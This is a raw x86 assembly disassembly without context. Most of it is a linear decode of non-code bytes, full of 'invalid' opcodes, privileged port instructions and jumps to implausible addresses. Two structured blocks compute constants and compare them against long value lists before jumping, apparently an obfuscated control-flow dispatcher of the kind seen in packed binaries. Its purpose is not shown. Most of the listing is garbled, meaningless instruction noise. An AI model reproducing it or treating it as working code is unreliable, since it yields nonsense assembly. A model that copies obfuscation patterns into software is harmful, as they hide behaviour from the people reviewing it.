mov eax, dword [ebp - 0xe8]
xor eax, 0x5f163
or eax, dword [ebp - 0xe4]
jne 0x70b25a2d
xor eax, 0x7e062de9
rol byte [esi - 0x5d26b4e6], 0xb3
sub byte [edx - 0xa], bl
jp 0x70b2502a
int 0x5e
add eax, 0x9a41a3f7
xor cl, byte [esi + 0x7f9c0d0b]
sub esp, dword [edi + eax]
or eax, 0x242b7f9c
pop es
add bh, bl
invalid
sub dword [edx + 0x6f3fbfa8], ebp
add ch, 0x67
aam 0x32
ljmp 0xbf26
xchg ebp, eax
push edx
pushfd
fadd st(7), st(0)
mov esi, 0x322c9a90
cld
cdq
xlatb
call 0x17cbd5eb
out 0xb5, al
wait
nop
lcall 0xe8d7, 0x99fc322c
mov ebx, 0xe6a71980
mov ch, 0x9b
and byte [ebp + 0x58c2d39b], bh
lds ebp, [ecx - 0x15102fe]
arpl word [edi], si
push esp
xor byte [ebx], ah
xlatb
js 0x70b255af
rcr dword [edi + 0x3c], cl
inc edx
xchg edi, eax
aam 0xf5
cli
and eax, 0xcf644096
mov esp, 0xabee0eaa
je 0x70b254f7
loop 0x70b255c1
push edi
push edi
ret 0xb162
cmp al, 0xb7
imul eax, dword [edi - 0x2d7c9458], 0x604d4dbc
fild word fs:[eax + 0x2d]
adc cl, ch
mov ah, 0xbf
invalid
nop
jle 0x70b25524
lodsb al, byte [esi]
adc al, 0x1f
jb 0x70b25626
outsd dx, dword [esi]
jg 0x70b2555c
movsd dword es:[edi], dword [esi]
wait
adc edi, dword [ecx - 0x3b]
jns 0x70b25576
jo 0x70b255a1
jg 0x70b2554a
popal
xchg ch, bh
int3
mov ebp, 0xbe5743f3
push esi
add dword [eax + 0x500efacc], edx
cmpsd dword [esi], dword es:[edi]
dec ebp
pop ecx
xchg ebp, eax
outsd dx, dword [esi]
pop dword [ecx - 5]
and ch, byte [0x1cde7a2e]
test eax, 0xae8b5c4c
pushfd
xchg ebx, eax
jle 0x70b2565c
nop
int3
rol byte [esp + eax*4 - 0x18d166f0], cl
salc
push es
xlatb
sbb ch, al
and edi, dword [esi]
rcr ebx, cl
and esi, esp
xchg edi, eax
scasd eax, dword es:[edi]
sub eax, 0x132ce461
or al, 0x28
rcr bl, 0x50
jbe 0x70b25630
stc
sub byte [edx + ebx*2 - 0x427ced59], dh
fmul qword [esi + 0x6e]
pop ebx
inc esi
loope 0x70b2561f
jle 0x70b255c8
jbe 0x70b25696
in al, dx
sahf
invalid
int3
jp 0x70b2563a
and al, 0xf6
aaa
jnp 0x70b255c8
stosd dword es:[edi], eax
into
lea ebx, [ebp + eax*2 + 0x13c1e1d0]
mov bl, 0x11
mov al, 0x30
outsd dx, dword [si]
xor byte [edi + 0x6f], ah
fistp word [ebx - 0x6a]
fdivrp st(1)
adc cl, cl
push ebp
aaa
sal dword [0x4a1700b4], 1
shr edx, 0xbd
adc dword [ebx], esi
pop ds
jb 0x70b256c2
test al, 0x11
movsb byte es:[edi], byte [esi]
fadd st(5), st(0)
stosb byte es:[edi], al
xchg ebx, eax
mov byte [ebp + edx*2 - 0x295aacc0], dh
mov ah, 0x55
inc eax
push ebx
movsd dword es:[edi], dword [esi]
salc
pop edx
hlt
mov ebp, 0xe29269a1
mov edi, 0xafead2e7
leave
inc edx
and eax, 0xe2b7933c
aaa
les ebx, [esi + eax*2 - 0x107424a1]
std
je 0x70b25685
jp 0x70b256b9
jne 0x70b25700
sub esp, ecx
and al, byte [ebp - 0xe]
mov byte [0x6839fe19], al
int 0x22
sbb ch, byte [ecx + 0xd]
sbb dword [esi], eax
shr dword [ebx - 0x3e], cl
sub esp, 0x18
ja 0x70b256e5
add al, 0x88
jge 0x70b256a1
add eax, 0x50b9b2d
in eax, dx
pop ebp
sti
nop
int3
dec edi
or eax, 0x462e4b9d
mov ah, 0x49
in eax, 0x73
adc byte [esi + 0x345646e2], dl
xlatb
mov gs, word [ecx - 0x381458fd]
and eax, 0xd8e9a257
loope 0x70b25759
fsub st(1)
push esi
inc edi
cmp eax, 0x6bf82a5a
pop ebx
into
sar ebp, cl
neg byte [ecx + 0x2a]
cmp edx, dword [ebp + 7]
or byte [ebp - 0x43], cl
sub al, 0x91
xor byte [ebx - 0x26], dl
lahf
mov ebp, 0x90778ce1
int3
lcall 0x8102, 0xc3f9c90b
idiv cl
adc eax, 0x20aa5a96
out 0xfe, al
dec ecx
push esi
pop edx
dec ebp
xchg byte [ebp - 0x63], al
sbb dword [ebx - 0x3a37300f], edx
and dword [edx], esp
pushfd
scasb al, byte es:[edi]
dec ebp
int3
push ds
mov eax, dword [eax - 0x14fe284c]
push ss
push es
xor al, 0xe
outsb dx, byte [esi]
sbb esi, dword [ebx - 0x5d62a96f]
sar dh, 0xa4
inc ecx
jle 0x70b257cb
int3
ja 0x70b25729
mov dh, cl
int1
mov eax, dword cs:[0x9a9e88e4]
sub al, 0xec
pop edi
inc edi
aaa
xchg edx, eax
retf
mov word [eax - 0x7d3b8534], ss
push 0xc
les edx, [esi + 0x6b61e080]
inc edx
sbb dl, ch
adc ebp, dword [ecx + ecx*4 + 0x1bcb4a22]
and dword [ebx - 0x3a399a4a], eax
arpl word [eax - 0x3858c816], ax
cmp al, 0xee
popfd
jo 0x70b2579c
lodsb al, byte [esi]
mov dword [edx], esp
dec edx
retf
jecxz 0x70b257dd
cli
and al, 0x45
out dx, al
cld
xchg ebx, eax
inc esi
or al, 0x6e
fldenv [edx]
out 0xfd, eax
mov word [edx + 0xf], fs
cmc
jnp 0x70b2579e
salc
and byte [ebp + 0x74], al
add bl, byte [ebp + 0x7d088ece]
invalid
nop
jmp 0x70b25a2e
nop
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x20]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xf8], 0x844a9
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x100], 0xa76bf
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0xf8]
mov ebx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x108]
xor eax, 0x12bb68
or eax, dword [ebp - 0x104]
je 0x70b29ef5
mov edx, 0x12bb68
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0xeb9ba
or eax, dword [ebp - 0x104]
je 0x70b27680
mov edx, 0xeb9ba
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0xb89c9
or eax, dword [ebp - 0x104]
je 0x70b26753
mov edx, 0xb89c9
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0xae8fb
or eax, dword [ebp - 0x104]
je 0x70b28abc
mov edx, 0xae8fb
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0xa98f3
or eax, dword [ebp - 0x104]
je 0x70b294da
mov edx, 0xa98f3
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x8de87
or eax, dword [ebp - 0x104]
je 0x70b25d35
mov edx, 0x8de87
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x893b8
or eax, dword [ebp - 0x104]
je 0x70b285ad
mov edx, 0x893b8
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x6f0de
or eax, dword [ebp - 0x104]
je 0x70b28fcb
mov edx, 0x6f0de
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x6b360
or eax, dword [ebp - 0x104]
je 0x70b27171
mov edx, 0x6b360
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x36018
or eax, dword [ebp - 0x104]
je 0x70b299e9
mov edx, 0x36018
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x2b4ee
or eax, dword [ebp - 0x104]
je 0x70b26244
mov edx, 0x2b4ee
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x2a955
or eax, dword [ebp - 0x104]
je 0x70b26c62
mov edx, 0x2a955
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b29ef8
mov eax, dword [ebp - 0x108]
xor eax, 0x17969
or eax, dword [ebp - 0x104]
je 0x70b27b8f
mov eax, dword [ebp - 0x108]
xor eax, 0x19832
or eax, dword [ebp - 0x104]
je 0x70b2809e
jmp 0x70b29ef8
retf
xor byte [eax - 0x783087f], dl
xor eax, 0x4e91a167
add ah, byte [ecx + 6]
pop ss
dec eax
mov edx, 0x167d2479
loop 0x70b26277
in eax, dx
stosd dword es:[edi], eax
retf 0x452c
lea esp, [edi - 0x3ad73115]
pop esp
mov eax, 0xb1eccaa5
xor dword [eax + 0x44], eax
lahf
int3
inc esi
adc al, 0xec
pop ss
sub eax, 0xf759dce5
imul ebp, dword [ecx + 0x20], 0x6675e55a
invalid
xor dword [esi], eax
mov eax, 0x16dd369
cmp dword [eax - 0x77], 0x27
push 0x7aa6f8f9
lahf
pop ebx
cmp byte [esi], ch
cmp eax, dword [eax]
test eax, 0x90df8c47
int3
jo 0x70b26beb
mov ebx, 0xbe7fbab7
invalid
pop ss
and bl, byte [0xf4a1a7ce]
cli
mov ebx, 0x2d670042
xor bl, byte [esi + 0x1016e1d]
cmpsd dword [esi], dword es:[edi]
pop es
rcl dword [esp + edi*4 - 0x20]
mov cl, 0x5f
mov edi, 0x778ecb01
or cl, byte [edi]
mov ah, 0x97
mov ch, 0xb6
ja 0x70b26c22
cmp bl, byte [ecx + 0x36292d4]
jbe 0x70b26cc4
xor eax, 0x167083a
jg 0x70b26c1c
or al, 0x46
sal byte [esp + ebx*4 - 0x40], cl
jle 0x70b26c09
nop
int3
fcmovnbe st(0), st(1)
pop ds
push esp
std
xchg ebp, eax
push cs
jge 0x70b26c1b
adc esi, dword [ebx + 0x32]
scasb al, byte es:[edi]
aas
hlt
das
or dword [edx + 0x33], esi
inc ebp
arpl word [edx], dx
mov dl, 0x48
shr dword [ebx - 0x46], 1
ljmp 0xb7c4
adc cl, al
mov bh, 0xba
dec eax
test byte [edx], cl
fcmove st(0), st(4)
mov ah, 0xcc
mov ch, byte [esi]
ja 0x70b2710d
int3
js 0x70b2708f
pop edx
sub al, byte [edx]
xchg ecx, eax
cld
aaa
clc
lahf
mov eax, 0xc1f5f5a6
pop eax
mov esi, 0x4628e798
push edx
sub byte [esi + 0x52], al
xor eax, 0x904f684a
int3
cmpsb byte [esi], byte es:[edi]
sub byte [edi - 0x18], dl
xchg edx, eax
push es
xor bl, byte [esp + ecx*2]
pop edi
jge 0x70b270fa
cli
xchg esp, eax
adc ebp, dword [edx - 0x5b63454b]
movsb byte es:[edi], byte [esi]
push ecx
loopne 0x70b2710d
salc
wait
dec ebx
inc edi
jne 0x70b2712c
mov eax, 0x6befe456
or eax, 0xda479456
fld xword [ecx - 0x45]
lodsd eax, dword [esi]
invalid
jae 0x70b27193
sahf
leave
add dword [esi + 0x47a44e73], edx
ljmp 0x1184
pop esp
test byte [ecx], dl
and edi, dword [0x78df74e5]
mov bh, 0x69
push eax
mov dword [0x1fa8d1c1], eax
xor dword [ecx], edx
enter 0x414e, 0x76
pop ss
dec esi
inc ecx
jbe 0x70b271ae
jle 0x70b27119
clc
ja 0x70b271f9
pop ecx
adc al, 0x65
aaa
ret 0x2ee3
movsd dword es:[edi], dword [esi]
jbe 0x70b271d1
mov eax, 0x23a2980a
loopne 0x70b271d9
aad 0xaa
inc edx
int 0x36
pop es
inc esi
and al, 0x3d
jecxz 0x70b27143
into
sbb edx, dword [eax - 0x16995934]
mov byte [edi], al
sar ch, cl
retf
cmp ebx, ecx
mov bl, 0xf0
push 0xffffffffffffffda
lds eax, [edx - 0x47]
or dl, byte [eax]
pop esi
js 0x70b2717e
mov ecx, 0x785e100a
lahf
in eax, 0xb2
pop ecx
int 0x43
stosd dword es:[edi], eax
wait
mov ebp, 0xd1c465a8
pop esi
inc eax
xor al, byte [ebp + 0x50]
or byte [esp + edi], dl
push ebp
int3
cmp byte [edi], 0xe8
sal byte [ecx], 1
adc byte [ecx], dh
inc edx
mov ebp, 0xd7898a8b
sar dword [0x128fb9ba], 1
push edx
sahf
mov dword [0x60bc1d5c], eax
mov ebp, 0xca40ac7c
sbb dword [eax - 0x581a0334], edx
in eax, 0x92
fdivr dword [edx]
push esi
mov dword [0x964bd7e], eax
mov bl, 0x71
daa
jo 0x70b27222
fmul qword [bp + di]
mov ecx, 0x647f80b9
and dword [eax - 0x17], esp
inc edi
test dword [ecx], esp
push 0xfffffffffffffff3
xor eax, 0xea9c2eac
push ecx
sti
push edx
test al, 0xc5
dec esi
push es
shr dword [edi - 0x30280e45], 0x72
sbb byte [edi + 0x6e], dh
aas
test eax, 0xc723bbe8
xchg edx, eax
push ss
xor dword [eax], esi
invalid
pop ebp
cmp bl, byte [ebp + 0x25]
fisttp qword [esi]
mov byte [0x48245a5c], al
push esi
xor dword [edi], edi
mov bh, 0x8c
sal ah, cl
retf
adc dword [ebp + 0x10], 0xffffffbf
out dx, eax
cmc
and ebp, edi
pop es
dec edi
mov edi, 0x1eedcb50
and dword [ebp + 3], edi
mov esi, 0x5429a971
sbb dword [esi], esi
pop ecx
lodsb al, byte [esi]
rol byte [edi - 0x661761ea], cl
invalid
mov dword [edi + 0x3fa0a7f], ecx
invalid
shl ebp, 0x7d
shl byte es:[edi - 0x57], 0x75
movsd dword es:[edi], dword [esi]
out dx, eax
out dx, al
inc eax
xchg ebx, eax
mov edi, 0xd631b88f
mov dword [edi - 9], ebx
sub al, 0x8c
dec eax
xchg esi, ebp
fisubr word [edx]
add byte [eax + 0x31e6b9f9], 0x44
adc al, 0xf6
or eax, 0x36241402
jmp 0x70b28601
nop
int3
xor eax, 0x6d7c3cdc
inc esi
imul esi, dword [edi - 0x54], 0xffffff86
and ah, byte [ecx + edi + 0x2a]
adc dword [ebp - 0x61], ecx
adc byte [ebx + 0x76f9b8b2], bh
outsb dx, byte [esi]
mov dword [edi + 0x50], ebp
pop esp
push ss
xchg esp, eax
sbb ch, 0x3c
mov ecx, 0x66b0d3b7
mov dl, 0xda
out dx, eax
std
nop
int3
dec ebp
add ebp, ecx
fucomi st(3)
sbb eax, 0x3ef8eea6
lahf
ror dh, 0xc1
in eax, 0x1b
cmp al, 0xe
iretd
jmp 0x70b28a35
xchg dword [esi - 0x4a9d6dbd], edi
mov al, byte [0xe9cc9070]
cmp eax, 0x17000014
pop ss
xchg ecx, eax
cmc
stc
adc eax, 0xa53e352d
mov ecx, 0xa86197c7
jecxz 0x70b28aad
xchg edi, eax
popal
test al, 0xe3
loope 0x70b28aab
fimul word [ebx + 0x54]
dec ebx
push esp
cmpsb byte [esi], byte es:[edi]
stc
adc bl, byte fs:[eax]
loopne 0x70b28b1b
loop 0x70b28a6a
cmpsd dword [esi], dword es:[edi]
xor al, 0x5c
mov al, 0x26
in eax, 0x24
push 0x7bb63fd5
pop ss
in al, 0x1d
mov ebx, eax
mov eax, dword [0x3fea099f]
mov ebp, 0xece84630
clc
outsb dx, byte [esi]
cmp byte [edi + ecx*8 + 0x5c], 0x50
jl 0x70b28ac7
pop esp
push eax
jnp 0x70b28af9
clc
fcom dword [edx + 0x385437f8]
jbe 0x70b28b3b
scasd eax, dword es:[edi]
retf
xchg edi, eax
ljmp 0x5a7c
mov ah, 0x60
jb 0x70b28b7f
pushfd
sbb dword [ebx], eax
out dx, al
loopne 0x70b28abe
invalid
loop 0x70b28af6
pushal
mov ebp, 0x9481a6aa
fsubr qword [edx]
pop ss
dec esi
sbb al, 0xb
test al, 0x14
pop ecx
outsb dx, byte [esi]
jg 0x70b28b83
cmp eax, 0x66df4f81
div byte cs:[eax]
dec esp
pop eax
adc dh, bl
invalid
in al, dx
xchg edx, eax
fldln2
sbb al, 0x63
lodsb al, byte [esi]
xlatb
or dword [edi - 0x4ff5a6cf], ebp
xor cl, cl
jge 0x70b28b26
jmp 0x70b28b2e
sub al, 0x1a
pop eax
mov ah, 0xe4
sub esp, dword [ebx - 0x578d60cb]
loope 0x70b29043
xor dword [ecx + eax*2 - 0x33], ebp
xchg edx, eax
cmpsb byte [esi], byte es:[edi]
salc
xchg byte [eax + ebp*4], bl
in eax, 0x10
sbb eax, ebx
ror dword [0x88de0d19], 0xd4
invalid
adc byte [edi + 0x1f9f98ee], dh
or eax, 0xbfef90a6
pop ebx
insd dword es:[edi], dx
enter 0x5f30, 0x57
nop
out dx, eax
mov edi, 0x30c86d5b
pop edi
push edi
jns 0x70b2904b
push esp
adc eax, 0xb18222cc
jb 0x70b290bf
lcall 0xb5e9, 0x87240194
pop ebp
invalid
insd dword es:[edi], dx
push edi
test al, 0x78
xchg byte [edx + 0xab53950], bh
daa
out 0x90, eax
int3
inc edx
cmpsb byte [esi], byte es:[edi]
das
xchg edi, eax
cdq
pop ss
adc byte [ebx - 0x349176f7], 0x76
mov bl, byte [edx - 0x3c]
pop ecx
jmp 0x5e5b36a7
inc edx
or cl, byte [eax - 0x597a02f7]
invalid
nop
jmp 0x70b29ef9
nop
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x24]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x118], 0x75dc2
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x120], 0x9f55b
mov dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
sub eax, dword [ebp - 0x118]
sbb edx, dword [ebp - 0x114]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x128]
xor eax, 0xe7c7d
or eax, dword [ebp - 0x124]
je 0x70b2df16
mov edx, 0xe7c7d
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xdb33c
or eax, dword [ebp - 0x124]
je 0x70b2c0bc
mov edx, 0xdb33c
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xcc92c
or eax, dword [ebp - 0x124]
je 0x70b2cfe9
mov edx, 0xcc92c
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xc8d11
or eax, dword [ebp - 0x124]
je 0x70b2b69e
mov edx, 0xc8d11
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xc7286
or eax, dword [ebp - 0x124]
je 0x70b2ac80
mov edx, 0xc7286
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xc4fd4
or eax, dword [ebp - 0x124]
je 0x70b2d4f8
mov edx, 0xc4fd4
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xb9627
or eax, dword [ebp - 0x124]
je 0x70b2e425
mov edx, 0xb9627
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0xa8419
or eax, dword [ebp - 0x124]
je 0x70b2e934
mov edx, 0xa8419
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x8b348
or eax, dword [ebp - 0x124]
je 0x70b2bbad
mov edx, 0x8b348
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x89aa8
or eax, dword [ebp - 0x124]
je 0x70b2b18f
mov edx, 0x89aa8
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x59eb9
or eax, dword [ebp - 0x124]
je 0x70b2c5cb
mov edx, 0x59eb9
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x48600
or eax, dword [ebp - 0x124]
je 0x70b2da07
mov edx, 0x48600
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x44208
or eax, dword [ebp - 0x124]
je 0x70b2a262
mov edx, 0x44208
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x30434
or eax, dword [ebp - 0x124]
je 0x70b2a771
invalid
mov edx, 0x30434
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x70b2ee40
mov eax, dword [ebp - 0x128]
xor eax, 0x29799
or eax, dword [ebp - 0x124]
je 0x70b2ee43
mov eax, dword [ebp - 0x128]
xor eax, 0x2a1e3
or eax, dword [ebp - 0x124]
je 0x70b2cada
jmp 0x70b2ee40
sar byte [edi + 0x5d], 1
jg 0x70b2a20b
add byte [edx + edi + 0x6e154bf2], cl
mov ebp, 0x7dbb59f3
mov esp, 0x6a1e5952
int1
je 0x70b2a28a
mov edx, 0x215a6f00
push 0xffffffffffffffaf
push edx
stc
cwde
leave
jbe 0x70b2a285
xchg byte [eax - 0x2ecf898c], bl
je 0x70b2a302
xor cl, dl
dec esi
xchg ebx, eax
test ah, ch
movsb byte es:[edi], byte [esi]
dec ecx
invalid
inc ebp
mov ebx, 0x68e47e0b
xchg esi, eax
mov al, byte [ebp + 0x20]
nop
int3
aam 0x5a
lds eax, [eax - 0x62]
add byte [ecx + ebx + 0x7f], ch
test al, 0x90
test dword [edx], ecx
shl byte [edi + 0x34], 1
mov esi, 0xa63cbaa4
invalid
push ebx
jmp 0x420d077f
mov esi, 0xdf51240f
pushfd
cmp byte [edx - 0x4466b32f], 0x33
adc esi, esp
outsb dx, byte [esi]
adc dword [ebx - 0x64756310], eax
loop 0x70b2b1ba
invalid
or ecx, dword [edx - 0x5f]
xor esp, esp
cmc
movsd dword es:[edi], dword [esi]
add eax, dword [ebp + 0x5b]
dec edx
ret 0x8d43
jle 0x70b2b190
into
stosd dword es:[edi], eax
xchg esi, eax
fiadd dword [edx + 0x69ddac3]
xor byte [ecx + edi*8 - 0x31], 0x1c
push es
cdq
sub dh, byte [edi - 0x302c8133]
and dword [esi + 0x28daecac], eax
wait
sbb bl, byte [esi - 0x4abb8ada]
push edx
sbb byte [ebp - 0x3c], 0x90
int3
lodsd eax, dword [esi]
cmp ebx, dword [0x6717329]
lahf
push es
cmc
push cs
aas
cld
jmp 0x70b2b6fa
inc edx
stc
cld
inc ecx
ret 0xdf09
invalid
invalid
mov edx, 0x13f9e93
pop eax
ja 0x70b2baf5
xor al, 0x34
and byte [ebp + eax*8 - 0x1f404913], bl
mov ah, 0xaf
mov dh, 0xbf
loopne 0x70b2bb27
scasd eax, dword es:[edi]
imul esi, dword [eax - 0x39], 0xffffffbf
mov byte [0xb7b5b9fb], al
dec eax
dec edx
aaa
loop 0x70b2bb6f
pop edi
pop ds
add byte [edx + 0x2c0114b4], 0x9c
jmp 0xcf8bd6c
mov edx, 0xf755f666
mov edi, 0x94411526
add al, 0x71
jge 0x70b2bbe6
rol dword [ecx - 0x4cf815cc], cl
push 0x70c88bba
sbb al, 0x8b
lodsb al, byte [esi]
mov cl, 0x8f
loopne 0x70b2bb61
movsb byte es:[edi], byte [esi]
shl dword [edi], 0x79
inc ebp
bnd retf
cld
pop ds
push eax
or byte [edi + 0x1d], ch
invalid
stc
outsb dx, byte [esi]
cli
mov dh, 0xfb
mov ebx, 0x2f3ba8c4
add bh, byte [0xda7fb02]
jbe 0x70b2c0dc
out dx, al
test eax, 0xbcd122c4
fbstp tbyte [edx - 0xe]
mov dh, 0x59
push 0xffffffffffffffd3
shl dword [edi], 1
pop edi
scasb al, byte es:[edi]
mov gs, word [ecx]
mov byte [0x66fa481a], al
inc esp
invalid
sbb edi, esp
imul ebx, dword [edx], 0xffffffd9
bswap edi
mov al, 0xa4
jnp 0x70b2c643
mov eax, 0x7a44b812
add dh, bh
sar dword [eax + 0x166a8119], 0x45
adc al, 0x85
xchg byte [ebp + 0x913e5dc], cl
aad 0xde
popal
nop
invalid
inc esi
push esp
xor eax, 0x90631fcc
aam 0x5a
add cl, dl
mov dl, 0x27
sbb byte [ebx + 0x60adf81e], ch
sbb edi, 0x21
jnp 0x70b2c6d8
imul esp, dword [eax], 0x99558b9c
dec ebp
std
rcl byte [ebp + edx*2 - 0x2cf67a89], cl
pop ebx
mov edx, 0x393ea30
cli
popfd
movsb byte es:[edi], byte [esi]
nop
int3
imul esp, dword [edi + 0x57e468a7], 0xf7e3d68b
les edi, [esi + eax*2 - 0x5c31cc2]
dec eax
in al, 0x85
invalid
std
and byte [0xccc4122f], al
sub eax, 0x9031c3b4
int3
fsubr st(1)
cmp byte [ecx - 0x30], dl
loopne 0x70b2cadf
inc esi
sbb dh, ah
dec eax
mov ch, 0x87
jmp 0xf9777a89
jl 0x70b2cb16
cwde
add eax, 0xdf20a37
mov ebx, dword [ebx - 0x16336fbe]
push 0x23
add byte [eax], al
xor word [ebx + 0x7e], 0xffbb
jecxz 0x70b2cac8
push esp
jg 0x70b2ca71
dec esi
lodsb al, byte [esi]
pop ebp
out dx, al
jne 0x70b2cb3f
dec ecx
or ecx, dword [esi]
jo 0x70b2ca90
dec ecx
dec ebp
push ebx
jne 0x70b2cb73
test byte [ebx], bl
add al, 0xcf
invalid
and al, 0xe1
leave
test eax, 0xab5fe895
stosd dword es:[edi], eax
imul ebx, esp, 0xa0c628e0
sub al, 0x3f
push 0x21054d61
and dh, byte [eax + esi*4 - 0x353b3370]
jmp 0x70b2cbae
jmp 0x885302b9
push 0x44
mov esp, 0xbffa7a30
pop edx
enter 0xffffffffffff8cb3, 0x47
dec edx
mov word [edi + 0x4a], es
ja 0x70b2cb49
push eax
salc
sbb eax, eax
je 0x70b2cbb3
push ss
mov ebx, edi
cdq
out 0xbe, al
xor bh, byte [edi]
and eax, dword [esi]
jne 0x70b2cb98
or al, 0x97
sar byte [eax + 0x38], 0x60
sub byte [ecx + 0x20e8c007], cl
dec esp
cmpsd dword [esi], dword es:[edi]
pop ss
into
xchg esi, eax
or cl, byte [edi + 0x72e11d07]
test byte [ecx + esi*2], dh
jnp 0xfa3c9d71
pop es
sbb eax, 0x348472e1
jno 0x70b2cb8a
mov esi, ecx
ror dword [ecx - 0x7391c977], 1
sub eax, 0x3676cc90
outsb dx, byte ss:[esi]
mov word [0x3676cc90], gs
lodsd eax, dword [esi]
jne 0x70b2cb1d
xchg edx, eax
int1
into
and dword [edx - 0x7d96547d], esp
sub ah, byte [esi + 0x239ce519]
adc al, 0x38
and edx, dword [eax + edi]
cmpsd dword [esi], dword es:[edi]
in al, 0x5f
push edi
push ebp
cmpsd dword [esi], dword es:[edi]
jns 0x70b2cbc1
dec esi
push es
in eax, dx
popal
add byte [esi - 0x64], bh
jg 0x70b2cbca
adc dword [ecx + eax*2 + 0x46], eax
inc ecx
inc esi
push 0xe04e77b2
cmp byte [eax - 0x5c93893c], 0x74
in al, 0xeb
retf 0x5917
dec esi
loopne 0x70b2cb36
mov eax, 0xa36c76c4
je 0x70b2cba1
jmp 0x70b2cb89
jmp 0x3cce526c
mov dword [edi - 7], esp
pop edx
clc
push edi
sbb eax, 0xa1e4ec2e
mov bl, 0x77
in al, dx
jae 0x70b2cba1
nop
int3
invalid
inc esi
and byte [edi + 0xd7fa0f9], bl
test al, 0xc4
iretd
lcall 0x5f4c, 0x5a47923a
int3
mov dl, bl
adc dword cs:[edi], esp
invalid
aaa
mov edi, 0x893e6d32
dec edi
inc esp
invalid
mov edx, 0x6b01f206
sbb eax, 0x620bddc0
fdiv st(4), st(0)
outsb dx, byte [esi]
loopne 0x70b2e971
and byte [ecx], bh
iretd
fsubp st(1)
nop
mov eax, dword [0x7c63a6fe]
dec edx
inc esi
adc edx, dword [ebp - 0x39]
pop ebx
